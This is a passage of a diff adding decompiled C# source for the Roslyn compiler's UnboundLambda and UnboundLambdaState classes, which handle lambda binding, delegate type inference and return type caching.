ImmutableArray refKinds, ImmutableArray declaredScopes, ImmutableArray types, ImmutableArray names, ImmutableArray discardsOpt, SeparatedSyntaxList? syntaxList, ImmutableArray defaultValues, bool isAsync, bool isStatic, bool hasParamsArray) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = !types.IsDefault && types.Any(delegate(TypeWithAnnotations t) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + TypeSymbol type = t.Type; + return (object)type != null && (int)type.Kind == 4; + }); + FunctionTypeSymbol functionTypeSymbol = FunctionTypeSymbol.CreateIfFeatureEnabled((SyntaxNode)(object)syntax, binder, (Binder binder2, BoundExpression expr) => ((UnboundLambda)expr).Data.InferDelegateType()); + PlainUnboundLambdaState plainUnboundLambdaState = new PlainUnboundLambdaState(binder, returnRefKind, returnType, parameterAttributes, names, discardsOpt, types, refKinds, declaredScopes, defaultValues, syntaxList, isAsync, isStatic, hasParamsArray, includeCache: true); + UnboundLambda unboundLambda = new UnboundLambda((SyntaxNode)(object)syntax, plainUnboundLambdaState, functionTypeSymbol, withDependencies, hasErrors); + plainUnboundLambdaState.SetUnboundLambda(unboundLambda); + functionTypeSymbol?.SetExpression(unboundLambda.WithNoCache()); + return unboundLambda; + } + + private UnboundLambda(SyntaxNode syntax, UnboundLambdaState state, FunctionTypeSymbol? functionType, bool withDependencies, NullableWalker.VariableState? nullableState, bool hasErrors) + : this(syntax, state, functionType, withDependencies, hasErrors) + { + _nullableState = nullableState; + } + + internal UnboundLambda WithNullableState(NullableWalker.VariableState nullableState) + { + UnboundLambdaState unboundLambdaState = Data.WithCaching(includeCache: true); + UnboundLambda unboundLambda = new UnboundLambda(Syntax, unboundLambdaState, FunctionType, WithDependencies, nullableState, base.HasErrors); + unboundLambdaState.SetUnboundLambda(unboundLambda); + return unboundLambda; + } + + internal UnboundLambda WithNoCache() + { + UnboundLambdaState unboundLambdaState = Data.WithCaching(includeCache: false); + if (unboundLambdaState == Data) + { + return this; + } + UnboundLambda unboundLambda = new UnboundLambda(Syntax, unboundLambdaState, FunctionType, WithDependencies, _nullableState, base.HasErrors); + unboundLambdaState.SetUnboundLambda(unboundLambda); + return unboundLambda; + } + + public BoundLambda Bind(NamedTypeSymbol delegateType, bool isExpressionTree) + { + return SuppressIfNeeded(Data.Bind(delegateType, isExpressionTree)); + } + + public BoundLambda BindForErrorRecovery() + { + return SuppressIfNeeded(Data.BindForErrorRecovery()); + } + + public BoundLambda BindForReturnTypeInference(NamedTypeSymbol delegateType) + { + return SuppressIfNeeded(Data.BindForReturnTypeInference(delegateType)); + } + + private BoundLambda SuppressIfNeeded(BoundLambda lambda) + { + if (!base.IsSuppressed) + { + return lambda; + } + return (BoundLambda)lambda.WithSuppression(); + } + + public bool HasExplicitReturnType(out RefKind refKind, out TypeWithAnnotations returnType) + { + return Data.HasExplicitReturnType(out refKind, out returnType); + } + + public Binder GetWithParametersBinder(LambdaSymbol lambdaSymbol, Binder binder) + { + return Data.GetWithParametersBinder(lambdaSymbol, binder); + } + + public TypeWithAnnotations InferReturnType(ConversionsBase conversions, NamedTypeSymbol delegateType, ref CompoundUseSiteInfo useSiteInfo, out bool inferredFromFunctionType) + { + return BindForReturnTypeInference(delegateType).GetInferredReturnType(conversions, _nullableState, ref useSiteInfo, out inferredFromFunctionType); + } + + public RefKind RefKind(int index) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Data.RefKind(index); + } + + public ScopedKind DeclaredScope(int index) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Data.DeclaredScope(index); + } + + public void GenerateAnonymousFunctionConversionError(BindingDiagnosticBag diagnostics, TypeSymbol targetType) + { + Data.GenerateAnonymousFunctionConversionError(diagnostics, targetType); + } + + public bool GenerateSummaryErrors(BindingDiagnosticBag diagnostics) + { + return Data.GenerateSummaryErrors(diagnostics); + } + + public SyntaxList ParameterAttributes(int index) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Data.ParameterAttributes(index); + } + + public TypeWithAnnotations ParameterTypeWithAnnotations(int index) + { + return Data.ParameterTypeWithAnnotations(index); + } + + public TypeSymbol ParameterType(int index) + { + return ParameterTypeWithAnnotations(index).Type; + } + + public ParameterSyntax? ParameterSyntax(int index) + { + return Data.ParameterSyntax(index); + } + + public Location ParameterLocation(int index) + { + return Data.ParameterLocation(index); + } + + public string ParameterName(int index) + { + return Data.ParameterName(index); + } + + public bool ParameterIsDiscard(int index) + { + return Data.ParameterIsDiscard(index); + } + + public UnboundLambda(SyntaxNode syntax, UnboundLambdaState data, FunctionTypeSymbol? functionType, bool withDependencies, bool hasErrors) + : base(BoundKind.UnboundLambda, syntax, null, hasErrors) + { + Data = data; + FunctionType = functionType; + WithDependencies = withDependencies; + } + + public UnboundLambda(SyntaxNode syntax, UnboundLambdaState data, FunctionTypeSymbol? functionType, bool withDependencies) + : base(BoundKind.UnboundLambda, syntax, null) + { + Data = data; + FunctionType = functionType; + WithDependencies = withDependencies; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnboundLambda(this); + } + + public UnboundLambda Update(UnboundLambdaState data, FunctionTypeSymbol? functionType, bool withDependencies) + { + if (data != Data || !SymbolEqualityComparer.ConsiderEverything.Equals(functionType, FunctionType) || withDependencies != WithDependencies) + { + UnboundLambda unboundLambda = new UnboundLambda(Syntax, data, functionType, withDependencies, base.HasErrors); + unboundLambda.CopyAttributes(this); + return unboundLambda; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnboundLambdaState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnboundLambdaState.cs new file mode 100644 index 0000000..74da967 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnboundLambdaState.cs @@ -0,0 +1,709 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class UnboundLambdaState +{ + private sealed class ReturnInferenceCacheKey + { + public readonly ImmutableArray ParameterTypes; + + public readonly ImmutableArray ParameterRefKinds; + + public readonly NamedTypeSymbol? TaskLikeReturnTypeOpt; + + public static readonly ReturnInferenceCacheKey Empty = new ReturnInferenceCacheKey(ImmutableArray.Empty, ImmutableArray.Empty, null); + + private ReturnInferenceCacheKey(ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, NamedTypeSymbol? taskLikeReturnTypeOpt) + { + ParameterTypes = parameterTypes; + ParameterRefKinds = parameterRefKinds; + TaskLikeReturnTypeOpt = taskLikeReturnTypeOpt; + } + + public override bool Equals(object? obj) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + if (this == obj) + { + return true; + } + if (!(obj is ReturnInferenceCacheKey returnInferenceCacheKey) || returnInferenceCacheKey.ParameterTypes.Length != ParameterTypes.Length || !TypeSymbol.Equals(returnInferenceCacheKey.TaskLikeReturnTypeOpt, TaskLikeReturnTypeOpt, (TypeCompareKind)0)) + { + return false; + } + for (int i = 0; i < ParameterTypes.Length; i++) + { + if (!returnInferenceCacheKey.ParameterTypes[i].Equals(ParameterTypes[i], (TypeCompareKind)0) || returnInferenceCacheKey.ParameterRefKinds[i] != ParameterRefKinds[i]) + { + return false; + } + } + return true; + } + + public override int GetHashCode() + { + int num = TaskLikeReturnTypeOpt?.GetHashCode() ?? 0; + ImmutableArray.Enumerator enumerator = ParameterTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + num = Hash.Combine(enumerator.Current.Type, num); + } + return num; + } + + public static ReturnInferenceCacheKey Create(NamedTypeSymbol? delegateType, bool isAsync) + { + GetFields(delegateType, isAsync, out ImmutableArray parameterTypes, out ImmutableArray parameterRefKinds, out NamedTypeSymbol taskLikeReturnTypeOpt); + if (parameterTypes.IsEmpty && parameterRefKinds.IsEmpty && (object)taskLikeReturnTypeOpt == null) + { + return Empty; + } + return new ReturnInferenceCacheKey(parameterTypes, parameterRefKinds, taskLikeReturnTypeOpt); + } + + public static void GetFields(NamedTypeSymbol? delegateType, bool isAsync, out ImmutableArray parameterTypes, out ImmutableArray parameterRefKinds, out NamedTypeSymbol? taskLikeReturnTypeOpt) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + parameterTypes = ImmutableArray.Empty; + parameterRefKinds = ImmutableArray.Empty; + taskLikeReturnTypeOpt = null; + MethodSymbol methodSymbol = DelegateInvokeMethod(delegateType); + if ((object)methodSymbol == null) + { + return; + } + int parameterCount = methodSymbol.ParameterCount; + if (parameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterCount); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(parameterCount); + ImmutableArray.Enumerator enumerator = methodSymbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + instance2.Add(current.RefKind); + instance.Add(current.TypeWithAnnotations); + } + parameterTypes = instance.ToImmutableAndFree(); + parameterRefKinds = instance2.ToImmutableAndFree(); + } + if (isAsync && methodSymbol.ReturnType is NamedTypeSymbol namedTypeSymbol && !namedTypeSymbol.IsVoidType() && namedTypeSymbol.IsCustomTaskType(out object _)) + { + taskLikeReturnTypeOpt = namedTypeSymbol.ConstructedFrom; + } + } + } + + private sealed class BindingCacheComparer : IEqualityComparer<(NamedTypeSymbol Type, bool IsExpressionTree)> + { + public static readonly BindingCacheComparer Instance = new BindingCacheComparer(); + + public bool Equals([AllowNull] (NamedTypeSymbol Type, bool IsExpressionTree) x, [AllowNull] (NamedTypeSymbol Type, bool IsExpressionTree) y) + { + if (x.IsExpressionTree == y.IsExpressionTree) + { + return Symbol.Equals(x.Type, y.Type, (TypeCompareKind)0); + } + return false; + } + + public int GetHashCode([DisallowNull] (NamedTypeSymbol Type, bool IsExpressionTree) obj) + { + return Hash.Combine(obj.Type, obj.IsExpressionTree.GetHashCode()); + } + } + + private UnboundLambda _unboundLambda; + + internal readonly Binder Binder; + + private ImmutableDictionary<(NamedTypeSymbol Type, bool IsExpressionLambda), BoundLambda>? _bindingCache; + + private ImmutableDictionary? _returnInferenceCache; + + private BoundLambda? _errorBinding; + + public UnboundLambda UnboundLambda => _unboundLambda; + + public abstract MessageID MessageID { get; } + + public abstract bool HasSignature { get; } + + public abstract bool HasExplicitlyTypedParameterList { get; } + + public abstract int ParameterCount { get; } + + public abstract bool IsAsync { get; } + + public abstract bool IsStatic { get; } + + public abstract bool HasParamsArray { get; } + + public UnboundLambdaState(Binder binder, bool includeCache) + { + if (includeCache) + { + _bindingCache = ImmutableDictionary<(NamedTypeSymbol, bool), BoundLambda>.Empty.WithComparers(BindingCacheComparer.Instance); + _returnInferenceCache = ImmutableDictionary.Empty; + } + Binder = binder; + } + + public void SetUnboundLambda(UnboundLambda unbound) + { + _unboundLambda = unbound; + } + + protected abstract UnboundLambdaState WithCachingCore(bool includeCache); + + internal UnboundLambdaState WithCaching(bool includeCache) + { + if (_bindingCache == null != includeCache) + { + return this; + } + return WithCachingCore(includeCache); + } + + public abstract string ParameterName(int index); + + public abstract bool ParameterIsDiscard(int index); + + public abstract SyntaxList ParameterAttributes(int index); + + public abstract bool HasExplicitReturnType(out RefKind refKind, out TypeWithAnnotations returnType); + + public abstract Location ParameterLocation(int index); + + public abstract TypeWithAnnotations ParameterTypeWithAnnotations(int index); + + public abstract RefKind RefKind(int index); + + public abstract ScopedKind DeclaredScope(int index); + + public abstract ParameterSyntax? ParameterSyntax(int i); + + protected BoundBlock BindLambdaBody(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics) + { + if (lambdaSymbol.DeclaringCompilation?.TestOnlyCompilationData is LambdaBindingData lambdaBindingData) + { + Interlocked.Increment(ref lambdaBindingData.LambdaBindingCount); + } + return BindLambdaBodyCore(lambdaSymbol, lambdaBodyBinder, diagnostics); + } + + protected abstract BoundBlock BindLambdaBodyCore(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics); + + protected abstract BoundExpression? GetLambdaExpressionBody(BoundBlock body); + + protected abstract BoundBlock CreateBlockFromLambdaExpressionBody(Binder lambdaBodyBinder, BoundExpression expression, BindingDiagnosticBag diagnostics); + + public virtual void GenerateAnonymousFunctionConversionError(BindingDiagnosticBag diagnostics, TypeSymbol targetType) + { + Binder.GenerateAnonymousFunctionConversionError(diagnostics, _unboundLambda.Syntax, _unboundLambda, targetType); + } + + public BoundLambda Bind(NamedTypeSymbol delegateType, bool isTargetExpressionTree) + { + bool flag = Binder.InExpressionTree || isTargetExpressionTree; + if (!_bindingCache.TryGetValue((delegateType, flag), out BoundLambda value)) + { + value = ReallyBind(delegateType, flag); + return ImmutableInterlocked.GetOrAdd(ref _bindingCache, (delegateType, flag), value); + } + return value; + } + + internal IEnumerable InferredReturnTypes() + { + bool any = false; + foreach (BoundLambda value in _returnInferenceCache.Values) + { + TypeWithAnnotations typeWithAnnotations = value.InferredReturnType.TypeWithAnnotations; + if (typeWithAnnotations.HasType) + { + any = true; + yield return typeWithAnnotations.Type; + } + } + if (!any) + { + TypeWithAnnotations typeWithAnnotations2 = BindForErrorRecovery().InferredReturnType.TypeWithAnnotations; + if (typeWithAnnotations2.HasType) + { + yield return typeWithAnnotations2.Type; + } + } + } + + private static MethodSymbol? DelegateInvokeMethod(NamedTypeSymbol? delegateType) + { + return delegateType.GetDelegateType()?.DelegateInvokeMethod; + } + + private static TypeWithAnnotations DelegateReturnTypeWithAnnotations(MethodSymbol? invokeMethod, out RefKind refKind) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected I4, but got Unknown + if ((object)invokeMethod == null) + { + refKind = (RefKind)0; + return default(TypeWithAnnotations); + } + refKind = (RefKind)(int)invokeMethod.RefKind; + return invokeMethod.ReturnTypeWithAnnotations; + } + + internal (ImmutableArray, ArrayBuilder, ImmutableArray, bool) CollectParameterProperties() + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(ParameterCount); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(ParameterCount); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(ParameterCount); + bool item = false; + for (int i = 0; i < ParameterCount; i++) + { + RefKind val = RefKind(i); + ScopedKind val2 = DeclaredScope(i); + TypeWithAnnotations typeWithAnnotations = ParameterTypeWithAnnotations(i); + if ((int)val2 == 0 && ParameterHelpers.IsRefScopedByDefault(Binder.UseUpdatedEscapeRules, val)) + { + val2 = (ScopedKind)1; + if (_unboundLambda.ParameterAttributes(i).Any()) + { + item = true; + } + } + instance.Add(val); + instance2.Add(val2); + instance3.Add(typeWithAnnotations); + } + ImmutableArray item2 = instance.ToImmutableAndFree(); + ImmutableArray item3 = instance3.ToImmutableAndFree(); + return (item2, instance2, item3, item); + } + + internal NamedTypeSymbol? InferDelegateType() + { + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_01c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Invalid comparison between Unknown and I4 + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + if (!HasExplicitlyTypedParameterList) + { + return null; + } + (ImmutableArray, ArrayBuilder, ImmutableArray, bool) tuple = CollectParameterProperties(); + ImmutableArray item = tuple.Item1; + ArrayBuilder item2 = tuple.Item2; + ImmutableArray item3 = tuple.Item3; + bool item4 = tuple.Item4; + LambdaSymbol lambdaSymbol = CreateLambdaSymbol(Binder.ContainingMemberOrLambda, default(TypeWithAnnotations), item3, item, (RefKind)0); + if (!HasExplicitReturnType(out var refKind, out var returnType)) + { + ExecutableCodeBinder executableCodeBinder = new ExecutableCodeBinder(_unboundLambda.Syntax, lambdaSymbol, GetWithParametersBinder(lambdaSymbol, Binder)); + BoundBlock block = BindLambdaBody(lambdaSymbol, executableCodeBinder, BindingDiagnosticBag.Discarded); + ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> instance = ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>.GetInstance(); + BoundLambda.BlockReturns.GetReturnTypes(instance, block); + InferredLambdaReturnType inferredLambdaReturnType = BoundLambda.InferReturnType(instance, _unboundLambda, executableCodeBinder, null, IsAsync, Binder.Conversions); + returnType = inferredLambdaReturnType.TypeWithAnnotations; + refKind = inferredLambdaReturnType.RefKind; + if (!returnType.HasType && inferredLambdaReturnType.NumExpressions > 0) + { + return null; + } + } + if (item4) + { + for (int i = 0; i < ParameterCount; i++) + { + if ((int)DeclaredScope(i) == 0 && (int)item2[i] == 1 && _unboundLambda.ParameterAttributes(i).Any()) + { + item2[i] = lambdaSymbol.Parameters[i].EffectiveScope; + } + } + } + if (!returnType.HasType) + { + returnType = TypeWithAnnotations.Create(Binder.Compilation.GetSpecialType((SpecialType)6)); + } + return Binder.GetMethodGroupOrLambdaDelegateType(_unboundLambda.Syntax, lambdaSymbol, item2.ToImmutableAndFree(), ImmutableArrayExtensions.SelectAsArray(lambdaSymbol.Parameters, (Func)((ParameterSymbol p) => p.HasUnscopedRefAttribute)), refKind, returnType); + } + + private BoundLambda ReallyBind(NamedTypeSymbol delegateType, bool inExpressionTree) + { + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Invalid comparison between Unknown and I4 + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_02ad: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind; + TypeWithAnnotations typeWithAnnotations = DelegateReturnTypeWithAnnotations(DelegateInvokeMethod(delegateType), out refKind); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, _unboundLambda.WithDependencies); + CSharpCompilation compilation = Binder.Compilation; + ReturnInferenceCacheKey returnInferenceCacheKey = ReturnInferenceCacheKey.Create(delegateType, IsAsync); + LambdaSymbol lambdaSymbol; + Binder binder; + BoundBlock boundBlock; + if (!inExpressionTree && (int)refKind == 0 && _returnInferenceCache.TryGetValue(returnInferenceCacheKey, out BoundLambda value)) + { + BoundExpression lambdaExpressionBody = GetLambdaExpressionBody(value.Body); + if (lambdaExpressionBody != null && (lambdaSymbol = value.Symbol).RefKind == refKind && (object)LambdaSymbol.InferenceFailureReturnType != lambdaSymbol.ReturnType && lambdaSymbol.ReturnTypeWithAnnotations.Equals(typeWithAnnotations, (TypeCompareKind)0)) + { + binder = value.Binder; + boundBlock = CreateBlockFromLambdaExpressionBody(binder, lambdaExpressionBody, instance); + ((BindingDiagnosticBag)(object)instance).AddRange(value.Diagnostics, false); + goto IL_0115; + } + } + lambdaSymbol = CreateLambdaSymbol(Binder.ContainingMemberOrLambda, typeWithAnnotations, returnInferenceCacheKey.ParameterTypes, returnInferenceCacheKey.ParameterRefKinds, refKind); + binder = new ExecutableCodeBinder(_unboundLambda.Syntax, lambdaSymbol, GetWithParametersBinder(lambdaSymbol, Binder), inExpressionTree ? BinderFlags.InExpressionTree : BinderFlags.None); + boundBlock = BindLambdaBody(lambdaSymbol, binder, instance); + goto IL_0115; + IL_0115: + lambdaSymbol.GetDeclarationDiagnostics(instance); + if ((int)lambdaSymbol.RefKind == 3) + { + compilation.EnsureIsReadOnlyAttributeExists(instance, lambdaSymbol.DiagnosticLocation, modifyCompilation: false); + } + ImmutableArray parameters = lambdaSymbol.Parameters; + ParameterHelpers.EnsureRefKindAttributesExist(compilation, parameters, instance, modifyCompilation: false); + if (typeWithAnnotations.HasType) + { + if (compilation.ShouldEmitNativeIntegerAttributes(typeWithAnnotations.Type)) + { + compilation.EnsureNativeIntegerAttributeExists(instance, lambdaSymbol.DiagnosticLocation, modifyCompilation: false); + } + if (compilation.ShouldEmitNullableAttributes(lambdaSymbol) && typeWithAnnotations.NeedsNullableAttribute()) + { + compilation.EnsureNullableAttributeExists(instance, lambdaSymbol.DiagnosticLocation, modifyCompilation: false); + } + } + ParameterHelpers.EnsureNativeIntegerAttributeExists(compilation, parameters, instance, modifyCompilation: false); + ParameterHelpers.EnsureScopedRefAttributeExists(compilation, parameters, instance, modifyCompilation: false); + ParameterHelpers.EnsureNullableAttributeExists(compilation, lambdaSymbol, parameters, instance, modifyCompilation: false); + ValidateUnsafeParameters(instance, returnInferenceCacheKey.ParameterTypes); + if (ControlFlowPass.Analyze(compilation, lambdaSymbol, boundBlock, ((BindingDiagnosticBag)instance).DiagnosticBag)) + { + if (Microsoft.CodeAnalysis.CSharp.Binder.MethodOrLambdaRequiresValue(lambdaSymbol, Binder.Compilation)) + { + instance.Add(ErrorCode.ERR_AnonymousReturnExpected, lambdaSymbol.DiagnosticLocation, MessageID.Localize(), delegateType); + } + else + { + boundBlock = FlowAnalysisPass.AppendImplicitReturn(boundBlock, lambdaSymbol); + } + } + if (IsAsync && !ErrorFacts.PreventsSuccessfulDelegateConversion(((BindingDiagnosticBag)instance).DiagnosticBag) && typeWithAnnotations.HasType && !typeWithAnnotations.IsVoidType() && !lambdaSymbol.IsAsyncEffectivelyReturningTask(compilation) && !lambdaSymbol.IsAsyncEffectivelyReturningGenericTask(compilation)) + { + instance.Add(ErrorCode.ERR_CantConvAsyncAnonFuncReturns, lambdaSymbol.DiagnosticLocation, lambdaSymbol.MessageID.Localize(), delegateType); + } + return new BoundLambda(_unboundLambda.Syntax, _unboundLambda, boundBlock, ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree(), binder, delegateType, default(InferredLambdaReturnType)) + { + WasCompilerGenerated = _unboundLambda.WasCompilerGenerated + }; + } + + internal LambdaSymbol CreateLambdaSymbol(Symbol containingSymbol, TypeWithAnnotations returnType, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, RefKind refKind) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return new LambdaSymbol(Binder, Binder.Compilation, containingSymbol, _unboundLambda, parameterTypes, parameterRefKinds, refKind, returnType); + } + + internal LambdaSymbol CreateLambdaSymbol(NamedTypeSymbol delegateType, Symbol containingSymbol) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind; + TypeWithAnnotations returnType = DelegateReturnTypeWithAnnotations(DelegateInvokeMethod(delegateType), out refKind); + ReturnInferenceCacheKey.GetFields(delegateType, IsAsync, out ImmutableArray parameterTypes, out ImmutableArray parameterRefKinds, out NamedTypeSymbol _); + return CreateLambdaSymbol(containingSymbol, returnType, parameterTypes, parameterRefKinds, refKind); + } + + private void ValidateUnsafeParameters(BindingDiagnosticBag diagnostics, ImmutableArray targetParameterTypes) + { + if (!HasSignature) + { + return; + } + int num = Math.Min(targetParameterTypes.Length, ParameterCount); + for (int i = 0; i < num; i++) + { + if (targetParameterTypes[i].Type.ContainsPointer()) + { + Binder.ReportUnsafeIfNotAllowed(ParameterLocation(i), diagnostics); + } + } + } + + private BoundLambda ReallyInferReturnType(NamedTypeSymbol? delegateType, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind; + TypeWithAnnotations returnType; + bool flag = HasExplicitReturnType(out refKind, out returnType); + var (lambdaSymbol, boundBlock, executableCodeBinder, bindingDiagnosticBag) = BindWithParameterAndReturnType(parameterTypes, parameterRefKinds, returnType, refKind); + InferredLambdaReturnType inferredReturnType; + if (flag) + { + inferredReturnType = new InferredLambdaReturnType(0, isExplicitType: true, hadExpressionlessReturn: false, refKind, returnType, inferredFromFunctionType: false, ImmutableArray.Empty, ImmutableArray.Empty); + } + else + { + ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> instance = ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>.GetInstance(); + BoundLambda.BlockReturns.GetReturnTypes(instance, boundBlock); + inferredReturnType = BoundLambda.InferReturnType(instance, _unboundLambda, executableCodeBinder, delegateType, lambdaSymbol.IsAsync, executableCodeBinder.Conversions); + refKind = inferredReturnType.RefKind; + returnType = inferredReturnType.TypeWithAnnotations; + if (!returnType.HasType) + { + returnType = (((object)delegateType == null && instance.Count == 0) ? TypeWithAnnotations.Create(Binder.Compilation.GetSpecialType((SpecialType)6)) : TypeWithAnnotations.Create(LambdaSymbol.InferenceFailureReturnType)); + } + instance.Free(); + } + BoundLambda result = new BoundLambda(_unboundLambda.Syntax, _unboundLambda, boundBlock, ((BindingDiagnosticBag)(object)bindingDiagnosticBag).ToReadOnlyAndFree(), executableCodeBinder, delegateType, inferredReturnType) + { + WasCompilerGenerated = _unboundLambda.WasCompilerGenerated + }; + if (!flag) + { + lambdaSymbol.SetInferredReturnType(refKind, returnType); + } + return result; + } + + private (LambdaSymbol lambdaSymbol, BoundBlock block, ExecutableCodeBinder lambdaBodyBinder, BindingDiagnosticBag diagnostics) BindWithParameterAndReturnType(ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, TypeWithAnnotations returnType, RefKind refKind) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, _unboundLambda.WithDependencies); + LambdaSymbol lambdaSymbol = CreateLambdaSymbol(Binder.ContainingMemberOrLambda, returnType, parameterTypes, parameterRefKinds, refKind); + ExecutableCodeBinder executableCodeBinder = new ExecutableCodeBinder(_unboundLambda.Syntax, lambdaSymbol, GetWithParametersBinder(lambdaSymbol, Binder)); + BoundBlock item = BindLambdaBody(lambdaSymbol, executableCodeBinder, instance); + lambdaSymbol.GetDeclarationDiagnostics(instance); + return (lambdaSymbol: lambdaSymbol, block: item, lambdaBodyBinder: executableCodeBinder, diagnostics: instance); + } + + public BoundLambda BindForReturnTypeInference(NamedTypeSymbol delegateType) + { + ReturnInferenceCacheKey returnInferenceCacheKey = ReturnInferenceCacheKey.Create(delegateType, IsAsync); + if (!_returnInferenceCache.TryGetValue(returnInferenceCacheKey, out BoundLambda value)) + { + value = ReallyInferReturnType(delegateType, returnInferenceCacheKey.ParameterTypes, returnInferenceCacheKey.ParameterRefKinds); + return ImmutableInterlocked.GetOrAdd(ref _returnInferenceCache, returnInferenceCacheKey, value); + } + return value; + } + + public virtual Binder GetWithParametersBinder(LambdaSymbol lambdaSymbol, Binder binder) + { + return new WithLambdaParametersBinder(lambdaSymbol, binder); + } + + public BoundLambda BindForErrorRecovery() + { + if (_errorBinding == null) + { + Interlocked.CompareExchange(ref _errorBinding, ReallyBindForErrorRecovery(), null); + } + return _errorBinding; + } + + private BoundLambda ReallyBindForErrorRecovery() + { + return GuessBestBoundLambda(_bindingCache) ?? rebind(GuessBestBoundLambda(_returnInferenceCache)) ?? rebind(ReallyInferReturnType(null, ImmutableArray.Empty, ImmutableArray.Empty)); + [return: NotNullIfNotNull("lambda")] + BoundLambda? rebind(BoundLambda? lambda) + { + if (lambda == null) + { + return null; + } + NamedTypeSymbol delegateType = (NamedTypeSymbol)lambda.Type; + ReturnInferenceCacheKey.GetFields(delegateType, IsAsync, out ImmutableArray parameterTypes, out ImmutableArray parameterRefKinds, out NamedTypeSymbol _); + return ReallyBindForErrorRecovery(delegateType, lambda.InferredReturnType, parameterTypes, parameterRefKinds); + } + } + + private BoundLambda ReallyBindForErrorRecovery(NamedTypeSymbol? delegateType, InferredLambdaReturnType inferredReturnType, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations typeWithAnnotations = inferredReturnType.TypeWithAnnotations; + RefKind refKind = inferredReturnType.RefKind; + if (!typeWithAnnotations.HasType) + { + typeWithAnnotations = DelegateReturnTypeWithAnnotations(DelegateInvokeMethod(delegateType), out refKind); + if (!typeWithAnnotations.HasType || typeWithAnnotations.Type.ContainsTypeParameter()) + { + 